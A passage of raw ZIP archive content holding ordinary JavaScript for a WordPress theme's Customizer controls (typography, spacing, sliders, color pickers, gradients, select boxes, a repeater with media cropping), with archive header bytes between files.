			value['line-height'] = jQuery( this ).val();
			control.saveValue( value );

		});

		this.container.on( 'change keyup paste', '.letter-spacing input', function() {

			// Add the value to the array and set the setting's value
			value['letter-spacing'] = jQuery( this ).val();
			control.saveValue( value );

		});

		this.container.on( 'change', '.text-align input', function() {

			// Add the value to the array and set the setting's value.
			value['text-align'] = jQuery( this ).val();
			control.saveValue( value );

		});

		// Text-transform
		jQuery( textTransformSelector ).selectize();
		this.container.on( 'change', '.text-transform select', function() {

			// Add the value to the array and set the setting's value.
			value['text-transform'] = jQuery( this ).val();
			control.saveValue( value );

		});

		picker = this.container.find( '.soledad-fw-color-control' );

		// Change color
		picker.wpColorPicker({
			change: function() {
				setTimeout( function() {
					value.color = picker.val();
					control.saveValue( value );

					// Refresh the preview
					if(control.setting.transport === 'refresh') wp.customize.previewer.refresh();
				}, 100 );
			}
		});

		this.container.find('.wp-picker-clear').on('click', function(){
			setTimeout( function() {
				value.color = picker.val();
				control.saveValue( value );
					
				// Refresh the preview
				if(control.setting.transport === 'refresh') wp.customize.previewer.refresh();
			}, 100 );
		});
	},

	/**
	 * Saves the value.
	 */
	saveValue: function( value ) {
        'use strict';

		var control  = this,
			newValue = {};

		_.each( value, function( newSubValue, i ) {
			newValue[ i ] = newSubValue;
		});

		control.setting.set( newValue );
	}

});
PK     0w\n#W  W  H  customizer/framework/assets/js/customizer-control/control-radio-image.jsnu [        (function($, api){
    "use strict";

	api.controlConstructor['soledad-fw-radio-image'] = api.controlConstructor.default.extend({
		ready: function() {
			var control = this;

			// Change the value
			this.container.on( 'click', 'input', function() {
				control.setting.set( jQuery( this ).val() );
			});
		}
	});
})(jQuery, wp.customize);
PK     0w\I    D  customizer/framework/assets/js/customizer-control/control-spacing.jsnu [        wp.customize.controlConstructor['soledad-fw-spacing'] = wp.customize.controlConstructor.default.extend({

	ready: function() {

		'use strict';

		var control = this,
		    value = {};

		_.each( ['top', 'bottom', 'left', 'right'], function( dimension, index ) {

			// Get initial values and pre-populate the object.
			if ( control.container.has( '.' + dimension ).size() ) {

				value[ dimension ] = control.setting._value[ dimension ];

				// Validate the value and show a warning if it's invalid.
				jQuery( control.selector + ' .' + dimension + '.input-wrapper' ).removeClass( 'invalid' );
				// if ( false === soledadValidateCSSValue( control.setting._value[ dimension ] ) ) {
				//	jQuery( control.selector + ' .' + dimension + '.input-wrapper' ).addClass( 'invalid' );
				//}

				control.container.on( 'change keyup paste', '.' + dimension + ' input', function() {

					var subValue = jQuery( this ).val();

					// Validate the value and show a warning if it's invalid.
					if ( false === soledadValidateCSSValue( subValue ) ) {

						jQuery( control.selector + ' .' + dimension + '.input-wrapper' ).addClass( 'invalid' );

					} else {

						jQuery( control.selector + ' .' + dimension + '.input-wrapper' ).removeClass( 'invalid' );

						// Only proceed if value is valid.
						value[ dimension ] = subValue;

						var string = JSON.stringify(value);
						control.setting.set( string );

						// Refresh the preview.
						// The `postMessage` implementation is still incomplete for this field.
						if(control.setting.transport === 'refresh') wp.customize.previewer.refresh();
					}

				});

			}

		});

	},

	getValue: function() {
		'use strict';
		// The setting is saved in JSON
		return JSON.parse( this.setting.get() );

	},

});
PK     0w\r`1    C  customizer/framework/assets/js/customizer-control/control-toggle.jsnu [        (function(api, $){
    "use strict";

	api.controlConstructor['soledad-fw-toggle'] = api.controlConstructor.default.extend({
		ready: function() {
			var control = this,
					checkboxValue = control.setting._value;

			// Save the value
			this.container.on( 'change', 'input', function() {
				checkboxValue = ( $( this ).is( ':checked' ) ) ? true : false;
				control.setting.set( checkboxValue );
			});
		}
	});
})(wp.customize, jQuery);
PK     0w\e
̰    A  customizer/framework/assets/js/customizer-control/control-text.jsnu [        ;(function ($, api) {
  'use strict'

  api.controlConstructor['soledad-fw-text'] = api.controlConstructor.default.extend({
    ready: function () {
      var control = this

      this.container.on('change click keyup paste', 'input', function () {
        control.setting.set($(this).val())
      })
    },
  })

  api.controlConstructor['soledad-fw-password'] = api.controlConstructor['soledad-fw-text']
})(jQuery, wp.customize)
PK     0w\    C  customizer/framework/assets/js/customizer-control/control-select.jsnu [        /*jshint -W065 */
wp.customize.controlConstructor['soledad-fw-select'] = wp.customize.controlConstructor.default.extend({

	ready: function() {

		'use strict';

		var control = this,
			section = jQuery(this.container).parents('.control-section').first();

		var element = control.container.find( 'select' ),
			multiple = parseInt( element.data( 'multiple' ) ),
			selectValue;
		
		// If this is a multi-select control,
		// then we'll need to initialize selectize using the appropriate arguments.
		// If this is a single-select, then we can initialize selectize without any arguments.
		if ( multiple > 1 ) {
			jQuery( element ).selectize({
				maxItems: multiple,
				allowEmptyOption:true,
				plugins: ['remove_button', 'drag_drop']
			});
		} else {
			jQuery( element ).selectize({
				allowEmptyOption:true,
			});
		}

		// Change value
		control.container.on( 'change', 'select', function() {
			selectValue = jQuery( this ).val();

			// If this is a multi-select, then we need to convert the value to an object.
			if ( multiple > 1 ) {
				selectValue = _.extend( {}, jQuery( this ).val() );
			}

			control.setting.set( selectValue );
		});
	}

});
PK     0w\ߗ7c  c  D  customizer/framework/assets/js/customizer-control/control-default.jsnu [        (function(api){
  "use strict";

  /**
   * Extend control functionality
   *
   * @param control
   * @param id
   * @param options
   */
  window.extendControl = function(control, id, options){
    // need to fetch default setting used for control
    var setting = options.params.settings.default;

    // Post Parameter (post var)
    api.previewerSync.registerRedirectTag(setting, options.params.postvar);

    // Style Output
    api.previewerSync.registerStyleOutput(setting, options.params.default, options.params.output);

    // only Register Partial Refresh when control created dynamically
    if(options.params.dynamic) {
      api.previewerSync.registerPartialRefresh(setting, control.section.get(), options.params.partial_refresh)
    }

    // Active Callback
    api.activeCallback.registerActiveRule(control, options.params.active_rule);
  };

  /**
   * Initialize control
   *
   * @param control
   * @param id
   * @param options
   */
  window.initializeControl = function(control, id, options){
    var sectionId = options.params.section;

    // if control is normal, extend control right away
    if(!control.params.dynamic) {
      window.extendControl(control, id, options);
    }

    api.section.bind(sectionId, function(section){
      if(section.loaded && control.params.dynamic) {
        window.extendControl(control, id, options);
      }
    });
  };

  api.controlConstructor.default = api.Control.extend({
    initialize: function( id, options ) {
      api.Control.prototype.initialize.call( this, id, options );
      window.initializeControl(this, id, options);
    },
  });

})(wp.customize);
PK     0w\W{    C  customizer/framework/assets/js/customizer-control/control-slider.jsnu [        (function($, api){
    "use strict";

	api.controlConstructor['soledad-fw-slider'] = api.controlConstructor.default.extend({
		ready: function() {
			var control = this,
				value,
				thisInput,
				inputDefault,
				$range = $('input[type=range]'),
				$reset = $('.soledad-fw-slider-reset');

			// Update the text value
			$range.on( 'mousedown', function() {
				$( this ).mousemove( function() {
					value = $( this ).val();
					$( this ).closest( 'label' ).find( '.soledad_fw_range_value .value' ).text( value );
				});
			});

			$range.on( 'click', function() {
				value = $( this ).val();
				$( this ).closest( 'label' ).find( '.soledad_fw_range_value .value' ).text( value );
			});

			// Handle the reset button
			$reset.on( 'click', function() {
				thisInput    = $( this ).closest( 'label' ).find( 'input' );
				inputDefault = thisInput.data( 'reset_value' );
				thisInput.val( inputDefault );
				thisInput.change();
				$( this ).closest( 'label' ).find( '.soledad_fw_range_value .value' ).text( inputDefault );
			});

			// Save changes.
			this.container.on( 'change', 'input', function() {
				control.setting.set( $( this ).val() );
			});
		}
	});
})(jQuery, wp.customize);
PK     0w\=8jL  L  B  customizer/framework/assets/js/customizer-control/control-radio.jsnu [        (function($, api){
    "use strict";

	api.controlConstructor['soledad-fw-radio'] = api.controlConstructor.default.extend({
		ready: function() {
			var control = this;

			// Change the value
			this.container.on( 'click', 'input', function() {
				control.setting.set( $( this ).val() );
			});
		}
	});
})(jQuery, wp.customize);
PK     0w\6"c  c  C  customizer/framework/assets/js/customizer-control/control-preset.jsnu [        (function ($, api) {
  "use strict";

  api.controlConstructor['soledad-fw-preset'] = api.controlConstructor.default.extend({
    ready: function () {
      var control = this,
        selectValue,
        element = control.container.find( 'select' );

      $( element ).selectize();

      // Trigger a change
      this.container.on('change', 'select', function () {

        // Get the control's value
        selectValue = $(this).val();

        // Update the value using the customizer API and trigger the "save" button
        control.setting.set(selectValue);

        // We have to get the choices of this control
        // and then start parsing them to see what we have to do for each of the choices.
        $.each(control.params.choices, function (key, value) {

          // If the current value of the control is the key of the choice,
          // then we can continue processing, Otherwise there's no reason to do anything.
          if (selectValue === key) {
            // Each choice has an array of settings defined in it.
            // We'll have to loop through them all and apply the changes needed to them.
            $.each(value.settings, function (presetControl, presetSettingValue) {
              soledadSetSettingValue(presetControl, presetSettingValue);
            });
          }
        });
      });
    }
  });
})(jQuery, wp.customize);
PK     0w\؇ba   a   A  customizer/framework/assets/js/customizer-control/control-code.jsnu [        wp.customize.controlConstructor['soledad-fw-code'] = wp.customize.controlConstructor.code_editor;PK     0w\S    H  customizer/framework/assets/js/customizer-control/control-multi-check.jsnu [        wp.customize.controlConstructor['soledad-fw-multi-check'] = wp.customize.controlConstructor.default.extend({

    ready: function () {
        'use strict';

        jQuery('.customize-control-soledad-fw-multi-check input[type="checkbox"]').on('change', function () {
                var checkbox_values = jQuery(this).parents('.customize-control').find('input[type="checkbox"]:checked').map(
                    function () {
                        return this.value;
                    }
                ).get().join(',');

                jQuery(this).parents('.customize-control').find('input[type="hidden"]').val(checkbox_values).trigger('change');
            }
        );
    }
});
PK     0w\DJ    C  customizer/framework/assets/js/customizer-control/control-button.jsnu [        (function ($, api) {
    "use strict";

    api.controlConstructor['soledad-fw-button'] = api.controlConstructor.default.extend({
        ready: function () {
            'use strict';
            $('[data-type="render_separate_css"]').on('click', function (e) {
                var $this = $(this),
                    $nonce = $this.data('nonce'),
                    $ajaxurl = $this.data('ajaxurl');
                e.preventDefault();

                $this.removeClass('success').addClass('loading');

                $.ajax({
                    type: "post",
                    dataType: "json",
                    url: $ajaxurl,
                    data: {
                        action: "penci_render_separate_css_file",
                        _nonce: $nonce,
                    },
                    success: function () {
                        $this.removeClass('loading').addClass('success');
                    },
                    error: function (jqXHR, textStatus, errorThrown) {
                        console.log('The following error occured: ' + textStatus, errorThrown);
                    }
                });
            });

            $('[data-type="penci_speed_delete_cache"]').on('click', function (event) {
                var $this = $(this),
                    $nonce = $this.data('nonce'),
                    $ajaxurl = $this.data('ajaxurl'),
                    $parent = $this.closest('.customize-control');
                event.preventDefault();
                $(this).addClass('loading');
                $.ajax({
                    type: "post",
                    dataType: "json",
                    url: $ajaxurl,
                    data: {
                        action: "penci_speed_delete_cache",
                        _nonce: $nonce,
                    },
                    success: function () {
                        $this.removeClass('loading').addClass('success');
                        $parent.find('.description span.count').html(0);
                    },
                    error: function (jqXHR, textStatus, errorThrown) {
                        console.log('The following error occured: ' + textStatus, errorThrown);
                    }
                });
            });

            $('[data-type="penci_fix_polylang_translation"]').on('click', function (event) {
                var $this = $(this),
                    $nonce = $this.data('nonce'),
                    $ajaxurl = $this.data('ajaxurl'),
                    $parent = $this.closest('.customize-control');
                event.preventDefault();
                $(this).addClass('loading');
                $.ajax({
                    type: "post",
                    dataType: "json",
                    url: $ajaxurl,
                    data: {
                        action: "penci_fix_polylang_translation",
                        _nonce: $nonce,
                    },
                    success: function () {
                        $this.removeClass('loading').addClass('success');
                    },
                    error: function (jqXHR, textStatus, errorThrown) {
                        console.log('The following error occured: ' + textStatus, errorThrown);
                    }
                });
            });

        }
    });
})(jQuery, wp.customize);
PK     0w\qΥQ_  _  E  customizer/framework/assets/js/customizer-control/control-textarea.jsnu [        (function($, api){
  "use strict";

  api.controlConstructor['soledad-fw-textarea'] = api.controlConstructor.default.extend({
    ready: function() {
      var control = this;

      this.container.on( 'change click keyup paste', 'textarea', function() {
        control.setting.set( $( this ).val() );
      });
    }
  });
})(jQuery, wp.customize);
PK     0w\N5  5  B  customizer/framework/assets/js/customizer-control/control-color.jsnu [        (function($, api){
    "use strict";

	api.controlConstructor['soledad-fw-color'] = api.controlConstructor.default.extend({

		ready: function() {
			var dispatch = this.dispatch.bind(this);
			dispatch();
		},

		dispatch: function(){
			var control = this;
			var picker  = control.container.find( '.soledad-fw-color-control');

			$( picker ).wpColorPicker();

			if ( undefined !== control.params.choices ) {
				picker.wpColorPicker( control.params.choices );
			}

			control.container.find('.wp-picker-clear').on('click', function(){
				setTimeout( function() {
					control.setting.set( picker.val() );
				}, 100 );
			});

			picker.wpColorPicker({
				change: function(){
					setTimeout( function() {
						control.setting.set( picker.val() );
					}, 100 );
				}
			});
		}

	});
})(jQuery, wp.customize);
PK     0w\Z%j   j   B  customizer/framework/assets/js/customizer-control/control-alert.jsnu [        wp.customize.controlConstructor['soledad-fw-alert'] = wp.customize.controlConstructor.default.extend({});
PK     0w\za    F  customizer/framework/assets/js/customizer-control/control-box-model.jsnu [        (function ($, api) {
    "use strict";

    api.controlConstructor['soledad-fw-box-model'] = api.controlConstructor.default.extend({
        ready: function () {
            'use strict';

            $(document).on('keyup', '.box-model-field', function () {
                var $parent = $(this).parents('.box-model-wrapper'),
                    $save_field = $parent.find('.box-model-saved'),
                    $input_fields = $parent.find('.box-model-field'),
                    saved_string = '';

                $input_fields.each(function () {
                    var $field = $(this);
                    var field_value = $.isNumeric($field.val()) ? parseInt($field.val(), 10) : '-';
                    if ($.isNumeric(field_value) || '-' === field_value) {
                        saved_string += field_value + ', ';
                    }
                });

                $save_field.val(saved_string.replace(/,\s*$/, "")).trigger('change');
            });

        }
    });
})(jQuery, wp.customize);
PK     0w\w_!&  &  E  customizer/framework/assets/js/customizer-control/control-gradient.jsnu [        wp.customize.controlConstructor['soledad-fw-gradient'] = wp.customize.controlConstructor.default.extend({

    ready: function() {
        'use strict';

        var control = this,
            value = {},
            beginpicker, endpicker,
            beginlocation, endlocation,
            renderLocation;

        // Make sure everything we're going to need exists.
        _.each( control.params['default'], function( defaultParamValue, param ) {
            if ( false !== defaultParamValue ) {
                value[ param ] = defaultParamValue;
                if ( undefined !== control.setting._value[ param ] ) {
                    value[ param ] = control.setting._value[ param ];
                }
            }
        });
        _.each( control.setting._value, function( subValue, param ) {
            if ( undefined === value[ param ] || 'undefined' === typeof value[ param ] ) {
                value[ param ] = subValue;
            }
        });

        renderLocation = function($range, location) {
            var thisInput,
                inputDefault,
                range_value,
                $reset = $range.closest( '.range' ).find('.soledad-fw-slider-reset');

            $range.on( 'mousedown', function() {
                jQuery( this ).mousemove( function() {
                    range_value = jQuery(this).val();
                    jQuery( this ).closest( '.range' ).find( '.soledad_fw_range_value .value' ).text( range_value );

                    value[location] = range_value;
                    control.saveValue( value );
                });
            });

            $range.on( 'click', function() {
                range_value = jQuery(this).val();
                jQuery( this ).closest( '.range' ).find( '.soledad_fw_range_value .value' ).text( range_value );
            });

            // Handle the reset button
            $reset.on( 'click', function() {
                thisInput    = jQuery( this ).closest( '.range' ).find( 'input' );
                inputDefault = thisInput.data( 'reset_value' );
                thisInput.val( inputDefault );
                thisInput.change();
                jQuery( this ).closest( '.range' ).find( '.soledad_fw_range_value .value' ).text( inputDefault );
            });
        };

        // Change color
        beginpicker = this.container.find( '.soledad-fw-begin-color' ).wpColorPicker({
            change: function() {
                setTimeout( function() {
                    value.begincolor = beginpicker.val();
                    control.saveValue( value );
                }, 100 );
            }
        });

        endpicker = this.container.find( '.soledad-fw-end-color' ).wpColorPicker({
            change: function() {
                setTimeout( function() {
                    value.endcolor = endpicker.val();
                    control.saveValue( value );
                }, 100 );
            }
        });

        // Range
        renderLocation(this.container.find( '.soledad-fw-range-begin input[type=range]' ), 'beginlocation', value);
        renderLocation(this.container.find( '.soledad-fw-range-end input[type=range]' ), 'endlocation', value);
        renderLocation(this.container.find( '.soledad-fw-range-degree input[type=range]' ), 'degree', value);
    },

    /**
     * Saves the value.
     */
    saveValue: function( value ) {
        'use strict';

        var control  = this,
            newValue = {};

        _.each( value, function( newSubValue, i ) {
            newValue[ i ] = newSubValue;
        });

        control.setting.set( newValue );
    }

});
PK     0w\V  V  L  customizer/framework/assets/js/customizer-control/control-radio-buttonset.jsnu [        (function($, api){
    "use strict";

	api.controlConstructor['soledad-fw-radio-buttonset'] = api.controlConstructor.default.extend({
		ready: function() {
			var control = this;

			// Change the value
			this.container.on( 'click', 'input', function() {
				control.setting.set( $( this ).val() );
			});
		}
	});
})(jQuery, wp.customize);
PK     0w\#lS^  ^  E  customizer/framework/assets/js/customizer-control/control-repeater.jsnu [        /*jshint -W065 */
var RepeaterRow = function( rowIndex, container, label ) {
	'use strict';

	var self        = this;

	this.rowIndex   = rowIndex;
	this.container  = container;
	this.label      = label;
	this.header     = this.container.find( '.repeater-row-header' ),

		this.header.on( 'click', function() {
			self.toggleMinimize();
		});

	this.container.on( 'click', '.repeater-row-remove', function() {
		self.remove();
	});

	this.header.on( 'mousedown', function() {
		self.container.trigger( 'row:start-dragging' );
	});

	this.container.on( 'keyup change', 'input, select, textarea', function( e ) {
		self.container.trigger( 'row:update', [ self.rowIndex, jQuery( e.target ).data( 'field' ), e.target ] );
	});

	this.setRowIndex = function( rowIndex ) {
		this.rowIndex = rowIndex;
		this.container.attr( 'data-row', rowIndex );
		this.container.data( 'row', rowIndex );
		this.updateLabel();
	};

	this.toggleMinimize = function() {

		if ( this.container.hasClass( 'minimized' ) )
        {
            this.container.find('.repeater-row-content').slideDown('fast');
        } else {
            this.container.find('.repeater-row-content').slideUp('fast');
        }

		// Store the previous state.
		this.container.toggleClass( 'minimized' );
		this.header.find( '.dashicons' ).toggleClass( 'dashicons-arrow-up' ).toggleClass( 'dashicons-arrow-down' );
	};

	this.remove = function() {
		this.container.slideUp( 300, function() {
			jQuery( this ).detach();
		});
		this.container.trigger( 'row:remove', [ this.rowIndex ] );
	};

	this.updateLabel = function() {
		var rowLabelField,
			rowLabel;

		if ( 'field' === this.label.type ) {
			rowLabelField = this.container.find( '.repeater-field [data-field="' + this.label.field + '"]' );
			if ( 'function' === typeof rowLabelField.val ) {
				rowLabel = rowLabelField.val();
				if ( '' !== rowLabel ) {
					this.header.find( '.repeater-row-label' ).text( rowLabel );
					return;
				}
			}
		}
		this.header.find( '.repeater-row-label' ).text( this.label.value + ' ' + ( this.rowIndex + 1 ) );
	};

	this.updateLabel();
};

wp.customize.controlConstructor['soledad-fw-repeater'] = wp.customize.controlConstructor.default.extend({
	ready: function() {
		'use strict';

		var control = this,
			section = jQuery(this.container).parents('.control-section').first();

		var limit, theNewRow;

		// The current value set in Control Class (set in to_json() function)
		var settingValue = control.params.value;

		// The hidden field that keeps the data saved (though we never update it)
		control.settingField = control.container.find( '[data-customize-setting-link]' ).first();

		// Set the field value for the first time, we'll fill it up later
		control.setValue( [], false );

		// The DIV that holds all the rows
		control.repeaterFieldsContainer = control.container.find( '.repeater-fields' ).first();

		// Set number of rows to 0
		control.currentIndex = 0;

		// Save the rows objects
		control.rows = [];

		// Default limit choice
		limit = false;
		if ( undefined !== control.params.choices.limit ) {
			limit = ( 0 >= control.params.choices.limit ) ? false : parseInt( control.params.choices.limit );
		}

		control.container.on( 'click', 'button.repeater-add', function( e ) {
			e.preventDefault();
			if ( ! limit || control.currentIndex < limit ) {
				theNewRow = control.addRow();
				theNewRow.toggleMinimize();
				control.initColorPicker();
				control.initDropdownPages( theNewRow );
			} else {
				jQuery( control.selector + ' .limit' ).addClass( 'highlight' );
			}
		});

		control.container.on( 'click', '.repeater-row-remove', function( e ) {
			control.currentIndex--;
			if ( ! limit || control.currentIndex < limit ) {
				jQuery( control.selector + ' .limit' ).removeClass( 'highlight' );
			}
		});

		control.container.on( 'click keypress', '.repeater-field-image .upload-button,.repeater-field-cropped_image .upload-button,.repeater-field-upload .upload-button', function( e ) {
			e.preventDefault();
			control.$thisButton = jQuery( this );
			control.openFrame( e );
		});

		control.container.on( 'click keypress', '.repeater-field-image .remove-button,.repeater-field-cropped_image .remove-button', function( e ) {
			e.preventDefault();
			control.$thisButton = jQuery( this );
			control.removeImage( e );
		});

		control.container.on( 'click keypress', '.repeater-field-upload .remove-button', function( e ) {
			e.preventDefault();
			control.$thisButton = jQuery( this );
			control.removeFile( e );
		});

		/**
		 * Function that loads the Mustache template
		 */
		control.repeaterTemplate = _.memoize( function() {
			var compiled,
				/*
				 * Underscore's default ERB-style templates are incompatible with PHP
				 * when asp_tags is enabled, so WordPress uses Mustache-inspired templating syntax.
				 *
				 * @see trac ticket #22344.
				 */
				options = {
					evaluate: /<#([\s\S]+?)#>/g,
					interpolate: /\{\{\{([\s\S]+?)\}\}\}/g,
					escape: /\{\{([^\}]+?)\}\}(?!\})/g,
					variable: 'data'
				};

			return function( data ) {
				compiled = _.template( control.container.find( '.customize-control-repeater-content' ).first().html(), null, options );
				return compiled( data );
			};
		});

		// When we load the control, the fields have not been filled up
		// This is the first time that we create all the rows
		if ( settingValue.length ) {
			_.each( settingValue, function( subValue ) {
				theNewRow = control.addRow( subValue );
				control.initColorPicker();
				control.initDropdownPages( theNewRow, subValue );
			});
		}

		// Once we have displayed the rows, we cleanup the values
		control.setValue( settingValue, true, true );

		control.repeaterFieldsContainer.sortable({
			handle: '.repeater-row-header',
			update: function( e, ui ) {
				control.sort();
			}
		});

	},

	/**
	 * Open the media modal.
	 */
	openFrame: function( event ) {
		'use strict';

		if ( wp.customize.utils.isKeydownButNotEnterEvent( event ) ) {
			return;
		}

		if ( this.$thisButton.closest( '.repeater-field' ).hasClass( 'repeater-field-cropped_image' ) ) {
			this.initCropperFrame();
		} else {
			this.initFrame();
		}

		this.frame.open();
	},

	initFrame: function() {

		'use strict';

		var libMediaType = this.getMimeType();
		var library = null;

		if (libMediaType === 'image') {
			library = wp.media.query({type: libMediaType})
		} else {
			library = wp.media.query({type: JSON.stringify(libMediaType.split(','))})
		}

		this.frame = wp.media({
			states: [
				new wp.media.controller.Library({
					library:  library,
					multiple: false,
					date:     false
				})
			]
		});

		// When a file is selected, run a callback.
		this.frame.on( 'select', this.onSelect, this );
	},
	/**
	 * Create a media modal select frame, and store it so the instance can be reused when needed.
	 * This is mostly a copy/paste of Core api.CroppedImageControl in /wp-admin/js/customize-control.js
	 */
	initCropperFrame: function() {

		'use strict';

		// We get the field id from which this was called
		var currentFieldId = this.$thisButton.siblings( 'input.hidden-field' ).attr( 'data-field' ),
			attrs          = [ 'width', 'height', 'flex_width', 'flex_height' ], // A list of attributes to look for
			libMediaType   = this.getMimeType();

		// Make sure we got it
		if ( 'string' === typeof currentFieldId && '' !== currentFieldId ) {

			// Make fields is defined and only do the hack for cropped_image
			if ( 'object' === typeof this.params.fields[ currentFieldId ] && 'cropped_image' === this.params.fields[ currentFieldId ].type ) {

				//Iterate over the list of attributes
				attrs.forEach( function( el, index ) {

					// If the attribute exists in the field
					if ( 'undefined' !== typeof this.params.fields[ currentFieldId ][ el ] ) {

						// Set the attribute in the main object
						this.params[ el ] = this.params.fields[ currentFieldId ][ el ];
					}
				}.bind( this ) );
			}
		}

		this.frame = wp.media({
			button: {
				text: 'Select and Crop',
				close: false
			},
			states: [
				new wp.media.controller.Library({
					library:         wp.media.query({ type: libMediaType }),
					multiple:        false,
					date:            false,
					suggestedWidth:  this.params.width,
					suggestedHeight: this.params.height
				}),
				new wp.media.controller.CustomizeImageCropper({
					imgSelectOptions: this.calculateImageSelectOptions,
					control: this
				})
			]
		});

		this.frame.on( 'select', this.onSelectForCrop, this );
		this.frame.on( 'cropped', this.onCropped, this );
		this.frame.on( 'skippedcrop', this.onSkippedCrop, this );

	},

	onSelect: function() {

		'use strict';

		var attachment = this.frame.state().get( 'selection' ).first().toJSON();

		if ( this.$thisButton.closest( '.repeater-field' ).hasClass( 'repeater-field-upload' ) ) {
			this.setFileInRepeaterField( attachment );
		} else {
			this.setImageInRepeaterField( attachment );
		}
	},

	/**
	 * After an image is selected in the media modal, switch to the cropper
	 * state if the image isn't the right size.
	 */

	onSelectForCrop: function() {

		'use strict';

		var attachment = this.frame.state().get( 'selection' ).first().toJSON();

		if ( this.params.width === attachment.width && this.params.height === attachment.height && ! this.params.flex_width && ! this.params.flex_height ) {
			this.setImageInRepeaterField( attachment );
		} else {
			this.frame.setState( 'cropper' );
		}
	},

	/**
	 * After the image has been cropped, apply the cropped image data to the setting.
	 *
	 * @param {object} croppedImage Cropped attachment data.
	 */
	onCropped: function( croppedImage ) {

		'use strict';

		this.setImageInRepeaterField( croppedImage );

	},

	/**
	 * Returns a set of options, computed from the attached image data and
	 * control-specific data, to be fed to the imgAreaSelect plugin in
	 * wp.media.view.Cropper.
	 *
	 * @param {wp.media.model.Attachment} attachment
	 * @param {wp.media.controller.Cropper} controller
	 * @returns {Object} Options
	 */
	calculateImageSelectOptions: function( attachment, controller ) {

		'use strict';

		var control    = controller.get( 'control' ),
			flexWidth  = !! parseInt( control.params.flex_width, 10 ),
			flexHeight = !! parseInt( control.params.flex_height, 10 ),
			realWidth  = attachment.get( 'width' ),
			realHeight = attachment.get( 'height' ),
			xInit      = parseInt( control.params.width, 10 ),
			yInit      = parseInt( control.params.height, 10 ),
			ratio      = xInit / yInit,
			xImg       = realWidth,
			yImg       = realHeight,
			x1,
			y1,
			imgSelectOptions;

		controller.set( 'canSkipCrop', ! control.mustBeCropped( flexWidth, flexHeight, xInit, yInit, realWidth, realHeight ) );

		if ( xImg / yImg > ratio ) {
			yInit = yImg;
			xInit = yInit * ratio;
		} else {
			xInit = xImg;
			yInit = xInit / ratio;
		}

		x1 = ( xImg - xInit ) / 2;
		y1 = ( yImg - yInit ) / 2;

		imgSelectOptions = {
			handles:     true,
			keys:        true,
			instance:    true,
			persistent:  true,
			imageWidth:  realWidth,
			imageHeight: realHeight,
			x1:          x1,
			y1:          y1,
			x2:          xInit + x1,
			y2:          yInit + y1
		};

		if ( false === flexHeight && false === flexWidth ) {
			imgSelectOptions.aspectRatio = xInit + ':' + yInit;
		}
		if ( false === flexHeight ) {
			imgSelectOptions.maxHeight = yInit;
		}
		if ( false === flexWidth ) {
			imgSelectOptions.maxWidth = xInit;
		}

		return imgSelectOptions;
	},

	/**
	 * Return whether the image must be cropped, based on required dimensions.
	 *
	 * @param {bool} flexW
	 * @param {bool} flexH
	 * @param {int}  dstW
	 * @param {int}  dstH
	 * @param {int}  imgW
	 * @param {int}  imgH
	 * @return {bool}
	 */
	mustBeCropped: function( flexW, flexH, dstW, dstH, imgW, imgH ) {

		'use strict';

		if ( true === flexW && true === flexH ) {
			return false;
		}

		if ( true === flexW && dstH === imgH ) {
			return false;
		}

		if ( true === flexH && dstW === imgW ) {
			return false;
		}

		if ( dstW === imgW && dstH === imgH ) {
			return false;
		}

		if ( imgW <= dstW ) {
			return false;
		}

		return true;
	},

	/**
	 * If cropping was skipped, apply the image data directly to the setting.
	 */
	onSkippedCrop: function() {

		'use strict';

		var attachment = this.frame.state().get( 'selection' ).first().toJSON();
		this.setImageInRepeaterField( attachment );

	},

	/**
	 * Updates the setting and re-renders the control UI.
	 *
	 * @param {object} attachment
	 */
	setImageInRepeaterField: function( attachment ) {

		'use strict';

		var $targetDiv = this.$thisButton.closest( '.repeater-field-image,.repeater-field-cropped_image' );

		$targetDiv.find( '.soledad-fw-image-attachment' ).html( '<img src="' + attachment.url + '">' ).hide().slideDown( 'slow' );

		$targetDiv.find( '.hidden-field' ).val( attachment.id );
		this.$thisButton.text( this.$thisButton.data( 'alt-label' ) );
		$targetDiv.find( '.remove-button' ).show();

		//This will activate the save button
		$targetDiv.find( 'input, textarea, select' ).trigger( 'change' );
		this.frame.close();

	},

	/**
	 * Updates the setting and re-renders the control UI.
	 *
	 * @param {object} attachment
	 */
	setFileInRepeaterField: function( attachment ) {

		'use strict';

		var $targetDiv = this.$thisButton.closest( '.repeater-field-upload' );

		$targetDiv.find( '.soledad-fw-file-attachment' ).html( '<span class="file"><span class="dashicons dashicons-media-default"></span> ' + attachment.filename + '</span>' ).hide().slideDown( 'slow' );

		$targetDiv.find( '.hidden-field' ).val( attachment.id );
		this.$thisButton.text( this.$thisButton.data( 'alt-label' ) );
		$targetDiv.find( '.upload-button' ).show();
		$targetDiv.find( '.remove-button' ).show();

		//This will activate the save button
		$targetDiv.find( 'input, textarea, select' ).trigger( 'change' );
		this.frame.close();

	},

	getMimeType: function() {

		'use strict';

		// We get the field id from which this was called
		var currentFieldId = this.$thisButton.siblings( 'input.hidden-field' ).attr( 'data-field' ),
			attrs          = [ 'mime_type' ]; // A list of attributes to look for

		// Make sure we got it
		if ( 'string' === typeof currentFieldId && '' !== currentFieldId ) {

			// Make fields is defined and only do the hack for cropped_image
			if ( 'object' === typeof this.params.fields[ currentFieldId ] && 'upload' === this.params.fields[ currentFieldId ].type ) {

				// If the attribute exists in the field
				if ( 'undefined' !== typeof this.params.fields[ currentFieldId ].mime_type ) {

					// Set the attribute in the main object
					return this.params.fields[ currentFieldId ].mime_type;
				}
			}
		}

		return 'image';

	},

	removeImage: function( event ) {

		'use strict';

		var $targetDiv,
			$uploadButton;

		if ( wp.customize.utils.isKeydownButNotEnterEvent( event ) ) {
			return;
		}

		$targetDiv = this.$thisButton.closest( '.repeater-field-image,.repeater-field-cropped_image,.repeater-field-upload' );
		$uploadButton = $targetDiv.find( '.upload-button' );

		$targetDiv.find( '.soledad-fw-image-attachment' ).slideUp( 'fast', function() {
			jQuery( this ).show().html( jQuery( this ).data( 'placeholder' ) );
		});
		$targetDiv.find( '.hidden-field' ).val( '' );
		$uploadButton.text( $uploadButton.data( 'label' ) );
		this.$thisButton.hide();

		$targetDiv.find( 'input, textarea, select' ).trigger( 'change' );

	},

	removeFile: function( event ) {

		'use strict';

		var $targetDiv,
			$uploadButton;

		if ( wp.customize.utils.isKeydownButNotEnterEvent( event ) ) {
			return;
		}

		$targetDiv = this.$thisButton.closest( '.repeater-field-upload' );
		$uploadButton = $targetDiv.find( '.upload-button' );

		$targetDiv.find( '.soledad-fw-file-attachment' ).slideUp( 'fast', function() {
			jQuery( this ).show().html( jQuery( this ).data( 'placeholder' ) );
